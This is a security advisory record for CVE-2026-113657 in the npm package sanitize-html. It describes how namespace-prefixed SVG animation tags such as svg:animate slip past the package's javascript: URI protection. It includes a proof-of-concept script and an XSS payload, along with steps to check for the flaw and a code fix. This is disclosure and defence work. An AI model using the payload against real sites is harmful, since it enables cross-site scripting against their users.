---
id: "CVE-2026-113657"
kind: "vulnerability"
aliases: ["CVE-2026-113657", "GHSA-374f-7chj-9948"]
title: "ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)"
severity: "low"
cvss: 3.700000047683716
epss: 0.0031300000846385956
exploited: false
status: "open"
category: "package"
products: [{"name": "sanitize-html", "fixed": ["2.18.0"], "affected": ">= 2.17.7, < 2.18.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["apostrophecms", "cwe-79", "node.js", "npm", "package", "rich-text-editors", "sanitize-html"]
not_affected_if: ["allowedtags-restricted-without-svg", "version-2.18.0-or-later", "version-below-2.17.7"]
published_at: "2026-10-20T17:17:36+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:20+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-374f-7chj-9948", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113657", "first_seen_at": "2026-10-23T21:57:20+00:00"}]
---

# ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)

sanitize-html versions 2.17.7 up to 2.18.0 fail to block SVG animation tags written with a namespace prefix such as svg:animate, so the protection against javascript: URLs in animated href attributes is skipped. An attacker who can get markup past the sanitizer on a site using allowedTags: false can inject a link that runs JavaScript when clicked (XSS).

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:sanitize-html affected >= 2.17.7, < 2.18.0 fixed 2.18.0

## How to check

Run npm ls sanitize-html and check whether the resolved version is >= 2.17.7 and < 2.18.0.
Search the codebase for sanitizeHtml or sanitize-html calls that use allowedTags: false or that allow svg.

## Fix

Upgrade sanitize-html to 2.18.0 or later.
Until then, keep svg and animate-type tags out of allowedTags or strip them before sanitizing.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-374f-7chj-9948
- 2026-10-23T21:57:20+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113657

## From the sources

## Summary

sanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).

## Root Cause

The `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `["animate", "animatecolor", "animatemotion", "animatetransform", "set"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.

Ironically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(":") + 1)` — but this same stripping was not applied to the tag name itself.

## Proof of Concept

```javascript
const sanitizeHtml = require("sanitize-html");

const config = {
  allowedTags: false,
  allowedAttributes: false,
  allowedSchemes: ["http", "https"]
};

// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
  `<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED

// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
  `<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS
```

All 5 SMIL animation elements are bypassable with any namespace prefix (`svg:`, `xlink:`, `xml:`, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.

## Impact

Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses `allowedTags: false` (common in rich-text editors that want to preserve SVG), an attacker can inject `<svg:animate attributeName="href" values="#safe;javascript:..." .../>` to override the `href` attribute of a parent `<a>` element after the page loads, causing the link to execute JavaScript when clicked.

## Suggested Fix

Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:

```javascript
// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {

// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {
```

## Affected Versions

sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.

## Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
